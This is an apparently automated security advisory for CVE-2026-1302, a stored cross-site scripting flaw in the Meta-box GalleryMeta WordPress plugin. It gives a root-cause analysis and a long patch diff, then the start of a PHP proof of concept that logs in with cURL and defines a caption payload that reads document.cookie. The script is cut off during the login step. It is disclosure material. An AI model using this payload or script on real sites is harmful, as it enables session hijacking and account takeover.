Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1302: Meta-box GalleryMeta <= 3.0.1 – Authenticated (Editor+) Stored Cross-Site Scripting via Image Caption (meta-box-gallerymeta)

CVE ID CVE-2026-1302
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 3.0.1
Patched Version 3.1
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1302:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Meta-box GalleryMeta WordPress plugin versions up to and including 3.0.1. The vulnerability affects the image caption functionality, allowing attackers with editor-level permissions or higher to inject malicious scripts that execute when users view compromised gallery pages. The vulnerability only manifests in multi-site WordPress installations or single-site installations where the unfiltered_html capability has been disabled.

Atomic Edge research identifies the root cause as insufficient output escaping when rendering image captions. The vulnerable code in the plugin’s main file gallerymetaboxes.php outputs the post_excerpt field without proper sanitization. Specifically, lines 128 and 310 in the original code use `echo $image_obj->post_excerpt;` within HTML attributes without escaping. The post_excerpt field corresponds to image captions that authenticated users can edit through the WordPress media library. The plugin’s save_post_meta function in lines 73-83 only sanitizes gallery IDs using sanitize_text_field, but does not process or sanitize caption data associated with those images.

The exploitation method requires an attacker with editor or higher permissions. The attacker would upload or select an existing image in the gallery metabox interface, then edit that image’s caption through the standard WordPress media library. By injecting JavaScript payloads into the caption field, the malicious code persists in the database. When the gallery renders on the frontend, the payload executes in the victim’s browser. The attack vector targets the `post_excerpt` parameter of WordPress attachment posts, which the plugin retrieves via `get_post($image)` and outputs directly in the alt attribute of img tags and in paragraph elements.

The patch in version 3.1 addresses the vulnerability by implementing proper output escaping. The diff shows multiple changes where `esc_attr()` wraps the `$image_obj->post_excerpt` output on lines 128, 310, and 327. Additionally, the patch adds caption sanitization in the save_post_meta function (lines 77-84) using `wp_kses_post()` to filter caption input. The plugin also improves general security by adding ABSPATH checks, updating text domains, and escaping additional dynamic values like post IDs and YouTube URLs. These changes ensure that user-supplied caption data undergoes proper sanitization before storage and escaping before output.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of authenticated users viewing compromised gallery pages. This can lead to session hijacking, administrative account takeover, content defacement, or redirection to malicious sites. The stored nature means the payload executes for every visitor to the affected page until removed. While the attack requires editor-level permissions, these are commonly granted to content managers in many WordPress deployments, making the vulnerability significant for organizations with multiple content contributors.

Differential between vulnerable and patched code

Code Diff
--- a/meta-box-gallerymeta/gallerymetaboxes.php
+++ b/meta-box-gallerymeta/gallerymetaboxes.php
@@ -5,14 +5,17 @@
  * Description: Drag and drop multiple image upload by meta-box gallery for WordPress. Take full control over your WordPress site, build any gallery you can imagine – no programming knowledge required.
  * Author: Md. Shahinur Islam
  * Author URI: https://profiles.wordpress.org/shahinurislam
- * Version: 3.0.1
- * Text Domain: mbgm
- * Domain Path: /lang
+ * Version: 3.1
+ * Text Domain: meta-box-gallerymeta
  * Network: True
  * License: GPLv2
  * Requires at least: 5.8
  * Requires PHP: 7.4
 */
+
+if ( ! defined( 'ABSPATH' ) ) {
+    exit; // Exit if accessed directly
+}
 //--------------------- Create custom post type ---------------------------//
 define( 'MBGM_PLUGIN', __FILE__ );
 define( 'MBGM_PLUGIN_DIR', untrailingslashit( dirname( MBGM_PLUGIN ) ) );
@@ -52,16 +55,16 @@
     ?>
     <table class="form-table">
       <tr><td>
-        <a class="gallery-add button" href="#" data-uploader-title="<?php esc_html_e( 'Add image(s) to gallery', 'mbgm' );?>" data-uploader-button-text="<?php esc_html_e( 'Add image(s)', 'mbgm' );?>"><?php esc_html_e( 'Add image(s) and Video(s)', 'mbgm' );?></a>
+        <a class="gallery-add button" href="#" data-uploader-title="<?php echo esc_attr__( 'Add image(s) to gallery', 'meta-box-gallerymeta' );?>" data-uploader-button-text="<?php echo esc_attr__( 'Add image(s)', 'meta-box-gallerymeta' );?>"><?php echo esc_attr__( 'Add image(s) and Video(s)', 'meta-box-gallerymeta' );?></a>
         <ul id="gallery-metabox-list">
         <?php if ($ids) :
 			foreach ($ids as $key => $value) :
 			$image = wp_get_attachment_image_src($value); ?>
           <li>
-            <input type="hidden" name="mbgm_gallery_id[<?php echo $key; ?>]" value="<?php echo $value; ?>">
+          <input type="hidden" name="mbgm_gallery_id[<?php echo esc_attr( $key ); ?>]" value="<?php echo esc_attr( $value ); ?>">
             <img class="image-preview" src="<?php echo esc_url($image[0]); ?>">
-            <a class="change-image button button-small" href="#" data-uploader-title="<?php esc_html_e( 'Change image', 'mbgm' );?>" data-uploader-button-text="<?php esc_html_e( 'Change image', 'mbgm' );?>"><?php esc_html_e( 'Change image', 'mbgm' );?></a><br>
-            <small><a class="remove-image" href="#"><?php esc_html_e( 'Remove image', 'mbgm' );?></a></small>
+            <a class="change-image button button-small" href="#" data-uploader-title="<?php esc_html_e( 'Change image', 'meta-box-gallerymeta' );?>" data-uploader-button-text="<?php esc_html_e( 'Change image', 'meta-box-gallerymeta' );?>"><?php esc_html_e( 'Change image', 'meta-box-gallerymeta' );?></a><br>
+            <small><a class="remove-image" href="#"><?php esc_html_e( 'Remove image', 'meta-box-gallerymeta' );?></a></small>
           </li>
         <?php endforeach; endif; ?>
         </ul>
@@ -74,6 +77,15 @@
     if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) return;
     if(isset($_POST['mbgm_gallery_id'])) {
 		$array = array_map( 'sanitize_text_field', wp_unslash( $_POST['mbgm_gallery_id'] ) );
+
+    // sanitize captions if they exist
+    foreach ($array as $key => $image_id) {
+        $caption_key = "mbgm_caption_$image_id";
+        if (isset($_POST[$caption_key])) {
+            $array[$key.'_caption'] = wp_kses_post($_POST[$caption_key]);
+        }
+    }
+
 		update_post_meta($post_id, 'mbgm_gallery_id', $array);
     } else {
       delete_post_meta($post_id, 'mbgm_gallery_id');
@@ -101,7 +113,7 @@
               <?php	global $post;	$images = get_post_meta($post->ID, 'mbgm_gallery_id', true);
                 if (is_array($images) || is_object($images))	{  ?>

-                <div id="carousel_<?php echo $post->ID;?>" class="carousel slide carousel-fade">
+                <div id="carousel_<?php echo esc_attr( $post->ID );?>" class="carousel slide carousel-fade">
                   <div class="carousel-inner">
                       <?php
                         $countn = 1;
@@ -110,21 +122,21 @@
                         if(!empty($image_obj->mbgm_youtube_url)){
                       ?>
                         <div class="carousel-item <?php echo $countn == 1 ? 'active': ''; ?>">
-                          <div class="embed-responsive embed-responsive-16by9">
-                            <iframe class="embed-responsive-item" src="https://www.youtube.com/embed/<?php echo $image_obj->mbgm_youtube_url;?>?rel=0" allowfullscreen></iframe>
+                          <div class="embed-responsive embed-responsive-16by9">
+                            <iframe class="embed-responsive-item" src="<?php echo esc_url( 'https://www.youtube.com/embed/' . $image_obj->mbgm_youtube_url . '?rel=0' ); ?>" allowfullscreen></iframe>
                           </div>
                         </div>
                       <?php  }else{ ?>
                         <div class="carousel-item <?php echo $countn == 1 ? 'active': ''; ?>">
-                          <img src="<?php echo esc_url(wp_get_attachment_url( $image ));?>" class="d-block w-100" alt="<?php echo $image_obj->post_excerpt;?>">
+                          <img src="<?php echo esc_url(wp_get_attachment_url( $image ));?>" class="d-block w-100" alt="<?php echo esc_attr($image_obj->post_excerpt);?>">
                         </div>
                       <?php  } $countn++; } ?>
                   </div>
-                      <button class="carousel-control-prev" type="button" data-bs-target="#carousel_<?php echo $post->ID;?>" data-bs-slide="prev">
+                      <button class="carousel-control-prev" type="button" data-bs-target="#carousel_<?php echo esc_attr($post->ID);?>" data-bs-slide="prev">
                         <span class="carousel-control-prev-icon" aria-hidden="true"></span>
                         <span class="visually-hidden">Previous</span>
                       </button>
-                      <button class="carousel-control-next" type="button" data-bs-target="#carousel_<?php echo $post->ID;?>" data-bs-slide="next">
+                      <button class="carousel-control-next" type="button" data-bs-target="#carousel_<?php echo esc_attr($post->ID);?>" data-bs-slide="next">
                         <span class="carousel-control-next-icon" aria-hidden="true"></span>
                         <span class="visually-hidden">Next</span>
                       </button>
@@ -145,15 +157,17 @@
     <ul class="pagination justify-content-end  text-right">
     <?php
     $big = 999999999; // need an unlikely integer
-      echo paginate_links( array(
-      'base' => str_replace( $big, '%#%', get_pagenum_link( $big ) ),
-      'format' => '?paged=%#%',
-      'current' => max( 1, get_query_var('paged') ),
-      'total' => $metaboxesg_main_blog->max_num_pages,
-      'prev_text'          => __( '« Previous' ),
-      'next_text'          => __( 'Next »' ),
-      'type'               => 'plain'
-    ) );
+    echo wp_kses_post(
+        paginate_links( array(
+            'base'      => str_replace( $big, '%#%', get_pagenum_link( $big ) ),
+            'format'    => '?paged=%#%',
+            'current'   => max( 1, get_query_var( 'paged' ) ),
+            'total'     => $metaboxesg_main_blog->max_num_pages,
+            'prev_text' => __( '« Previous','meta-box-gallerymeta' ),
+            'next_text' => __( 'Next »', 'meta-box-gallerymeta' ),
+            'type'      => 'plain',
+        ) )
+    );
     wp_reset_postdata();
     ?>
     </ul>
@@ -215,15 +229,17 @@
 			  <ul class="pagination justify-content-end  text-right">
 				<?php
 				$big = 999999999; // need an unlikely integer
-				 echo paginate_links( array(
+				 echo wp_kses_post(
+           paginate_links( array(
 					'base' => str_replace( $big, '%#%', get_pagenum_link( $big ) ),
 					'format' => '?paged=%#%',
 					'current' => max( 1, get_query_var('paged') ),
 					'total' => $metaboxesg_main_blog->max_num_pages,
-					'prev_text'          => __( '« Previous' ),
-					'next_text'          => __( 'Next »' ),
+					'prev_text'          => __( '« Previous','meta-box-gallerymeta' ),
+					'next_text'          => __( 'Next »','meta-box-gallerymeta' ),
 					'type'               => 'plain'
-				) );
+				) )
+        );
 				wp_reset_postdata();
 				?>
 			  </ul>
@@ -296,7 +312,7 @@
         <?php	global $post;	$images = get_post_meta($post->ID, 'mbgm_gallery_id', true);
           if (is_array($images) || is_object($images))	{  ?>

-          <div id="carousel_<?php echo $post->ID;?>" class="carousel slide carousel-fade">
+          <div id="carousel_<?php echo esc_attr($post->ID);?>" class="carousel slide carousel-fade">
             <div class="carousel-inner">
                 <?php
                   $countn = 1;
@@ -305,21 +321,22 @@
                   if(!empty($image_obj->mbgm_youtube_url)){
                 ?>
                   <div class="carousel-item <?php echo $countn == 1 ? 'active': ''; ?>">
-                    <div class="embed-responsive embed-responsive-16by9">
-                      <iframe class="embed-responsive-item" src="https://www.youtube.com/embed/<?php echo $image_obj->mbgm_youtube_url;?>?rel=0" allowfullscreen></iframe>
+                    <div class="embed-responsive embed-responsive-16by9">
+                      <iframe class="embed-responsive-item" src="<?php echo esc_url( 'https://www.youtube.com/embed/' . $image_obj->mbgm_youtube_url . '?rel=0' ); ?>" allowfullscreen></iframe>
+
                     </div>
                   </div>
                 <?php  }else{ ?>
-                  <div class="carousel-item <?php echo $countn == 1 ? 'active': ''; ?>">
-                    <img src="<?php echo esc_url(wp_get_attachment_url( $image ));?>" class="d-block w-100" alt="<?php echo $image_obj->post_excerpt;?>">
+                  <div class="carousel-item <?php echo esc_attr( ( 1 === $countn ) ? 'active' : '' );  ?>">
+                    <img src="<?php echo esc_url(wp_get_attachment_url( $image ));?>" class="d-block w-100" alt="<?php echo esc_attr( $image_obj->post_excerpt);?>">
                   </div>
                 <?php  } $countn++; } ?>
             </div>
-                <button class="carousel-control-prev" type="button" data-bs-target="#carousel_<?php echo $post->ID;?>" data-bs-slide="prev">
+                <button class="carousel-control-prev" type="button" data-bs-target="#carousel_<?php echo esc_attr( $post->ID);?>" data-bs-slide="prev">
                   <span class="carousel-control-prev-icon" aria-hidden="true"></span>
                   <span class="visually-hidden">Previous</span>
                 </button>
-                <button class="carousel-control-next" type="button" data-bs-target="#carousel_<?php echo $post->ID;?>" data-bs-slide="next">
+                <button class="carousel-control-next" type="button" data-bs-target="#carousel_<?php echo esc_attr( $post->ID);?>" data-bs-slide="next">
                   <span class="carousel-control-next-icon" aria-hidden="true"></span>
                   <span class="visually-hidden">Next</span>
                 </button>
@@ -345,8 +362,9 @@
     if (get_option('mbgm_plugin_do_activation_redirect', false)) {
         delete_option('mbgm_plugin_do_activation_redirect');
         if(!isset($_GET['activate-multi']))
-        {
-            wp_redirect("edit.php?post_type=mb_gallery&page=mbg_settings");
+        {
+            wp_safe_redirect( admin_url( 'edit.php?post_type=mb_gallery&page=mbg_settings' ) );
+            exit;
         }
     }
 }
@@ -392,8 +410,8 @@
   <nav>
     <div class="mbg_wrapper">
       <div class="mbg_title">
-        <h1><?php esc_html_e( 'Welcome to Meta-box GalleryMeta.', 'mbgm' ); ?></h1>
-        <h4><?php esc_html_e( 'Copy and paste this shortcode here:', 'mbgm' );?></h4>
+        <h1><?php esc_html_e( 'Welcome to Meta-box GalleryMeta.', 'meta-box-gallerymeta' ); ?></h1>
+        <h4><?php esc_html_e( 'Copy and paste this shortcode here:', 'meta-box-gallerymeta' );?></h4>
       </div>
       <div class="mbg_switch-btn">
         <div class="mbg_switch-text">
@@ -423,11 +441,11 @@
           <p>Classic with Slider</p>
         </div>
         <div class="mbg_card-content">
-		     <img src="<?php echo plugin_dir_url( __FILE__ ). 'images/gallery.jpg'?>" width="90%">
+		     <img src="<?php echo esc_url(plugin_dir_url( __FILE__ ). 'images/gallery.jpg');?>" width="90%">
         </div>
         <div class="mbg_card-footer">
           <div class="mbg_footer-wrapper">
-            <h4><?php esc_html_e( '[mbg-front-show]', 'mbgm' );?></h4>
+            <h4><?php esc_html_e( '[mbg-front-show]', 'meta-box-gallerymeta' );?></h4>
           </div>
         </div>
       </div>
@@ -437,11 +455,11 @@
           <p>Mordan</p>
         </div>
         <div class="mbg_card-content">
-          <img src="<?php echo plugin_dir_url( __FILE__ ). 'images/mordan.jpg'?>" width="90%">
+          <img src="<?php echo esc_url(plugin_dir_url( __FILE__ ). 'images/mordan.jpg'); ?>" width="90%">
         </div>
         <div class="mbg_card-footer">
           <div class="mbg_footer-wrapper">
-            <h4><?php esc_html_e( '[mbg-front-mordan]', 'mbgm' );?></h4>
+            <h4><?php esc_html_e( '[mbg-front-mordan]', 'meta-box-gallerymeta' );?></h4>
           </div>
         </div>
       </div>
@@ -451,11 +469,11 @@
           <p>Premium</p>
         </div>
         <div class="mbg_card-content">
-			  <img src="<?php echo plugin_dir_url( __FILE__ ). 'images/primium.jpg'?>" width="90%">
+			  <img src="<?php echo esc_url( plugin_dir_url( __FILE__ ). 'images/primium.jpg');?>" width="90%">
         </div>
         <div class="mbg_card-footer">
           <div class="mbg_footer-wrapper">
-            <h4 class="red"><?php esc_html_e( '[mbg-front-carousel]', 'mbgm' );?></h4>
+            <h4 class="red"><?php esc_html_e( '[mbg-front-carousel]', 'meta-box-gallerymeta' );?></h4>
           </div>
         </div>
       </div>
@@ -465,12 +483,12 @@
           <p>Professional</p>
         </div>
         <div class="mbg_card-content">
-			    <img src="<?php echo plugin_dir_url( __FILE__ ). 'images/single_gallery.jpg'?>" width="90%">
+			    <img src="<?php echo  esc_url(plugin_dir_url( __FILE__ ). 'images/single_gallery.jpg');?>" width="90%">
         </div>
         <div class="mbg_card-footer">
           <div class="mbg_footer-wrapper">
             <div class="mbg_icon-down"></div>
-            <h4 class="red"><?php esc_html_e( "[mbgm_gallery post_id='123']", 'mbgm' );?></h4>
+            <h4 class="red"><?php esc_html_e( "[mbgm_gallery post_id='123']", 'meta-box-gallerymeta' );?></h4>
           </div>
         </div>
       </div>
@@ -488,12 +506,12 @@
           <p>Slider 1</p>
         </div>
         <div class="mbg_card-content">
-			    <img src="<?php echo plugin_dir_url( __FILE__ ). 'slider/slider-1/slider-1.jpg'?>" width="90%">
+			    <img src="<?php echo  esc_url(plugin_dir_url( __FILE__ ). 'slider/slider-1/slider-1.jpg');?>" width="90%">
         </div>
         <div class="mbg_card-footer">
           <div class="mbg_footer-wrapper">
             <div class="mbg_icon-down"></div>
-            <h4><?php esc_html_e( "[mbgm_sliders style='1']", 'mbgm' );?></h4>
+            <h4><?php esc_html_e( "[mbgm_sliders style='1']", 'meta-box-gallerymeta' );?></h4>
           </div>
         </div>
       </div>
@@ -502,12 +520,12 @@
           <p>Slider 2</p>
         </div>
         <div class="mbg_card-content">
-			    <img src="<?php echo plugin_dir_url( __FILE__ ). 'slider/slider-1/slider-2.jpg'?>" width="90%">
+			    <img src="<?php echo esc_url(plugin_dir_url( __FILE__ ). 'slider/slider-1/slider-2.jpg');?>" width="90%">
         </div>
         <div class="mbg_card-footer">
           <div class="mbg_footer-wrapper">
             <div class="mbg_icon-down"></div>
-            <h4><?php esc_html_e( "[mbgm_sliders style='2']", 'mbgm' );?></h4>
+            <h4><?php esc_html_e( "[mbgm_sliders style='2']", 'meta-box-gallerymeta' );?></h4>
           </div>
         </div>
       </div>
@@ -516,12 +534,12 @@
           <p>Slider 3</p>
         </div>
         <div class="mbg_card-content">
-			    <img src="<?php echo plugin_dir_url( __FILE__ ). 'slider/slider-3/slider-3.jpg'?>" width="90%">
+			    <img src="<?php echo esc_url(plugin_dir_url( __FILE__ ). 'slider/slider-3/slider-3.jpg');?>" width="90%">
         </div>
         <div class="mbg_card-footer">
           <div class="mbg_footer-wrapper">
             <div class="mbg_icon-down"></div>
-            <h4><?php esc_html_e( "[mbgm_sliders style='3']", 'mbgm' );?></h4>
+            <h4><?php esc_html_e( "[mbgm_sliders style='3']", 'meta-box-gallerymeta' );?></h4>
           </div>
         </div>
       </div>
@@ -530,12 +548,12 @@
           <p>Slider 4</p>
         </div>
         <div class="mbg_card-content">
-			    <img src="<?php echo plugin_dir_url( __FILE__ ). 'slider/slider-4/slider-4.jpg'?>" width="90%">
+			    <img src="<?php echo esc_url(plugin_dir_url( __FILE__ ). 'slider/slider-4/slider-4.jpg');?>" width="90%">
         </div>
         <div class="mbg_card-footer">
           <div class="mbg_footer-wrapper">
             <div class="mbg_icon-down"></div>
-            <h4><?php esc_html_e( "[mbgm_sliders style='4']", 'mbgm' );?></h4>
+            <h4><?php esc_html_e( "[mbgm_sliders style='4']", 'meta-box-gallerymeta' );?></h4>
           </div>
         </div>
       </div>
@@ -545,12 +563,12 @@
           <p>Slider 5</p>
         </div>
         <div class="mbg_card-content">
-			    <img src="<?php echo plugin_dir_url( __FILE__ ). 'slider/slider-5/slider-5.jpg'?>" width="90%">
+			    <img src="<?php echo esc_url(plugin_dir_url( __FILE__ ). 'slider/slider-5/slider-5.jpg');?>" width="90%">
         </div>
         <div class="mbg_card-footer">
           <div class="mbg_footer-wrapper">
             <div class="mbg_icon-down"></div>
-            <h4><?php esc_html_e( "[mbgm_sliders style='5']", 'mbgm' );?></h4>
+            <h4><?php esc_html_e( "[mbgm_sliders style='5']", 'meta-box-gallerymeta' );?></h4>
           </div>
         </div>
       </div>
@@ -576,7 +594,7 @@
 // Add a "Custom Column" column to the Books post type
 add_filter('manage_mb_gallery_posts_columns', 'add_custom_column');
 function add_custom_column($columns) {
-    $columns['mbgmshortcode'] = __('MBGM Shortcode', 'mbgm');
+    $columns['mbgmshortcode'] = __('MBGM Shortcode', 'meta-box-gallerymeta');
     return $columns;
 }
 // Display custom data in the new column
--- a/meta-box-gallerymeta/include/enqueue.php
+++ b/meta-box-gallerymeta/include/enqueue.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+    exit; // Exit if accessed directly
+}
 function mbgm_metabox_enqueue($hook) {
     if ( 'post.php' == $hook || 'post-new.php' == $hook ) {
       wp_enqueue_script('mbgm-admin-js', plugin_dir_url( __DIR__ ). 'js/gallery-metabox.js', array('jquery'),'1.0.0',true);
--- a/meta-box-gallerymeta/include/medianame.php
+++ b/meta-box-gallerymeta/include/medianame.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+    exit; // Exit if accessed directly
+}
 /**
  * Add fields to media uploader
  *
--- a/meta-box-gallerymeta/include/posttype.php
+++ b/meta-box-gallerymeta/include/posttype.php
@@ -1,25 +1,28 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+    exit; // Exit if accessed directly
+}
 add_action( 'init', 'mbgmnew_gallery_post' );
 function mbgmnew_gallery_post() {
 	$labels = array(
-		'name'               => _x( 'MB Gallery', 'post type general name', 'mbgm' ),
-		'singular_name'      => _x( 'MB Gallery', 'post type singular name', 'mbgm' ),
-		'menu_name'          => _x( 'MB Gallery', 'admin menu', 'mbgm' ),
-		'name_admin_bar'     => _x( 'MB Gallery', 'add new on admin bar', 'mbgm' ),
-		'add_new'            => _x( 'Add New', 'MB Gallery', 'mbgm' ),
-		'add_new_item'       => __( 'Add New MBG', 'mbgm' ),
-		'new_item'           => __( 'New MBG', 'mbgm' ),
-		'edit_item'          => __( 'Edit MBG', 'mbgm' ),
-		'view_item'          => __( 'View MBG', 'mbgm' ),
-		'all_items'          => __( 'Gallery', 'mbgm' ),
-		'search_items'       => __( 'Search MBG', 'mbgm' ),
-		'parent_item_colon'  => __( 'Parent MBG:', 'mbgm' ),
-		'not_found'          => __( 'No MBG found.', 'mbgm' ),
-		'not_found_in_trash' => __( 'No MBG found in Trash.', 'mbgm' )
+		'name'               => _x( 'MB Gallery', 'post type general name', 'meta-box-gallerymeta' ),
+		'singular_name'      => _x( 'MB Gallery', 'post type singular name', 'meta-box-gallerymeta' ),
+		'menu_name'          => _x( 'MB Gallery', 'admin menu', 'meta-box-gallerymeta' ),
+		'name_admin_bar'     => _x( 'MB Gallery', 'add new on admin bar', 'meta-box-gallerymeta' ),
+		'add_new'            => _x( 'Add New', 'MB Gallery', 'meta-box-gallerymeta' ),
+		'add_new_item'       => __( 'Add New MBG', 'meta-box-gallerymeta' ),
+		'new_item'           => __( 'New MBG', 'meta-box-gallerymeta' ),
+		'edit_item'          => __( 'Edit MBG', 'meta-box-gallerymeta' ),
+		'view_item'          => __( 'View MBG', 'meta-box-gallerymeta' ),
+		'all_items'          => __( 'Gallery', 'meta-box-gallerymeta' ),
+		'search_items'       => __( 'Search MBG', 'meta-box-gallerymeta' ),
+		'parent_item_colon'  => __( 'Parent MBG:', 'meta-box-gallerymeta' ),
+		'not_found'          => __( 'No MBG found.', 'meta-box-gallerymeta' ),
+		'not_found_in_trash' => __( 'No MBG found in Trash.', 'meta-box-gallerymeta' )
 	);
 	$args = array(
 		'labels'             => $labels,
-        'description'        => __( 'Description.', 'mbgm' ),
+        'description'        => __( 'Description.', 'meta-box-gallerymeta' ),
 		'public'             => true,
 		'publicly_queryable' => true,
 		'show_ui'            => true,
@@ -39,24 +42,24 @@
 add_action( 'init', 'mbgmnew_Slider_post' );
 function mbgmnew_Slider_post() {
 	$labels = array(
-		'name'               => _x( 'Sliders', 'post type general name', 'mbgm' ),
-		'singular_name'      => _x( 'Slider', 'post type singular name', 'mbgm' ),
-		'menu_name'          => _x( 'Slider', 'admin menu', 'mbgm' ),
-		'name_admin_bar'     => _x( 'Slider', 'add new on admin bar', 'mbgm' ),
-		'add_new'            => _x( 'Add New', 'Slider', 'mbgm' ),
-		'add_new_item'       => __( 'Add New Slider', 'mbgm' ),
-		'new_item'           => __( 'New Slider', 'mbgm' ),
-		'edit_item'          => __( 'Edit Slider', 'mbgm' ),
-		'view_item'          => __( 'View Slider', 'mbgm' ),
-		'all_items'          => __( 'All Sliders', 'mbgm' ),
-		'search_items'       => __( 'Search Slider', 'mbgm' ),
-		'parent_item_colon'  => __( 'Parent Slider:', 'mbgm' ),
-		'not_found'          => __( 'No Slider found.', 'mbgm' ),
-		'not_found_in_trash' => __( 'No Slider found in Trash.', 'mbgm' )
+		'name'               => _x( 'Sliders', 'post type general name', 'meta-box-gallerymeta' ),
+		'singular_name'      => _x( 'Slider', 'post type singular name', 'meta-box-gallerymeta' ),
+		'menu_name'          => _x( 'Slider', 'admin menu', 'meta-box-gallerymeta' ),
+		'name_admin_bar'     => _x( 'Slider', 'add new on admin bar', 'meta-box-gallerymeta' ),
+		'add_new'            => _x( 'Add New', 'Slider', 'meta-box-gallerymeta' ),
+		'add_new_item'       => __( 'Add New Slider', 'meta-box-gallerymeta' ),
+		'new_item'           => __( 'New Slider', 'meta-box-gallerymeta' ),
+		'edit_item'          => __( 'Edit Slider', 'meta-box-gallerymeta' ),
+		'view_item'          => __( 'View Slider', 'meta-box-gallerymeta' ),
+		'all_items'          => __( 'All Sliders', 'meta-box-gallerymeta' ),
+		'search_items'       => __( 'Search Slider', 'meta-box-gallerymeta' ),
+		'parent_item_colon'  => __( 'Parent Slider:', 'meta-box-gallerymeta' ),
+		'not_found'          => __( 'No Slider found.', 'meta-box-gallerymeta' ),
+		'not_found_in_trash' => __( 'No Slider found in Trash.', 'meta-box-gallerymeta' )
 	);
 	$args = array(
 		'labels'             => $labels,
-        'description'        => __( 'Description.', 'mbgm' ),
+        'description'        => __( 'Description.', 'meta-box-gallerymeta' ),
 		'public'             => true,
 		'publicly_queryable' => true,
 		'show_ui'            => true,
--- a/meta-box-gallerymeta/include/sliders.php
+++ b/meta-box-gallerymeta/include/sliders.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+    exit; // Exit if accessed directly
+}
 function mbgm_single_sliders_shortcode($atts) {
     ob_start();
     //set attributies
@@ -46,7 +49,7 @@
             <div class="carousel-indicators">
                 <?php $countb = 0;?>
                 <?php while($mbgm_single_blog->have_posts()) : $mbgm_single_blog->the_post(); ?>
-                    <button type="button" data-bs-target="#carouselExampleDark" data-bs-slide-to="<?php echo $countb;?>" class="<?php echo $countb == 0? 'active': '' ?>" aria-current="true" aria-label="<?php echo $countb;?>"></button>
+                    <button type="button" data-bs-target="#carouselExampleDark" data-bs-slide-to="<?php echo esc_attr($countb);?>" class="<?php echo esc_attr($countb == 0? 'active': ''); ?>" aria-current="true" aria-label="<?php echo esc_attr($countb);?>"></button>
                 <?php $countb++;?>
                 <?php endwhile;?>
             </div>
--- a/meta-box-gallerymeta/templates/single-mb_gallery.php
+++ b/meta-box-gallerymeta/templates/single-mb_gallery.php
@@ -1,4 +1,8 @@
-<?php get_header();
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+    exit; // Exit if accessed directly
+}
+get_header();
 // Tranzkart_Wp_Elements::$template = 'archive';
 // get_template_part( 'template-parts/page', 'title' );
 while(have_posts())	: the_post();
@@ -20,17 +24,17 @@
 		<div class="col-sm-4 mb-2 text-center img_details_main">
 			<a class="gallery-demo img-fluid" href="<?php echo esc_url(wp_get_attachment_url( $image ));?>">
 				<div class="embed-responsive embed-responsive-16by9">
-					<iframe class="embed-responsive-item" src="https://www.youtube.com/embed/<?php echo $image_obj->mbgm_youtube_url;?>?rel=0" allowfullscreen></iframe>
+					<iframe class="embed-responsive-item" src="https://www.youtube.com/embed/<?php echo esc_attr($image_obj->mbgm_youtube_url);?>?rel=0" allowfullscreen></iframe>
 				</div>
 			</a>
-			<p class="img_details_title"><?php echo $image_obj->post_excerpt;?></p>
+			<p class="img_details_title"><?php echo esc_attr($image_obj->post_excerpt);?></p>
 		</div>
 		<?php  }else{ ?>
 		<div class="col-sm-4 mb-2 text-center img_details_main">
 			<a class="gallery-demo img-fluid" href="<?php echo esc_url(wp_get_attachment_url( $image ));?>">
-			<img src="<?php echo esc_url(wp_get_attachment_url( $image ));?>" alt="<?php echo $image_obj->post_excerpt;?>" class="img-thumbnail" />
+			<img src="<?php echo esc_url(wp_get_attachment_url( $image ));?>" alt="<?php echo esc_attr($image_obj->post_excerpt);?>" class="img-thumbnail" />
 			</a>
-			<p class="img_details_title"><?php echo $image_obj->post_excerpt;?></p>
+			<p class="img_details_title"><?php echo esc_attr($image_obj->post_excerpt);?></p>
 		</div>
 		<?php  }}} ?>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1302 - Meta-box GalleryMeta <= 3.0.1 - Authenticated (Editor+) Stored Cross-Site Scripting via Image Caption

<?php
/**
 * Proof of Concept for CVE-2026-1302
 * This script demonstrates the stored XSS vulnerability in Meta-box GalleryMeta plugin <= 3.0.1
 * Requires valid WordPress editor credentials and an existing gallery post
 */

$target_url = 'https://vulnerable-site.com';
$username = 'editor_user';
$password = 'editor_password';
$gallery_post_id = 123; // ID of existing gallery post
$image_id = 456; // ID of image attachment to modify

// Payload to inject into image caption
$xss_payload = '"><img src=x onerror=alert(document.cookie)>';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Get login page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$login_page = curl_exec($ch);

// Step 2: Submit login credentials
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
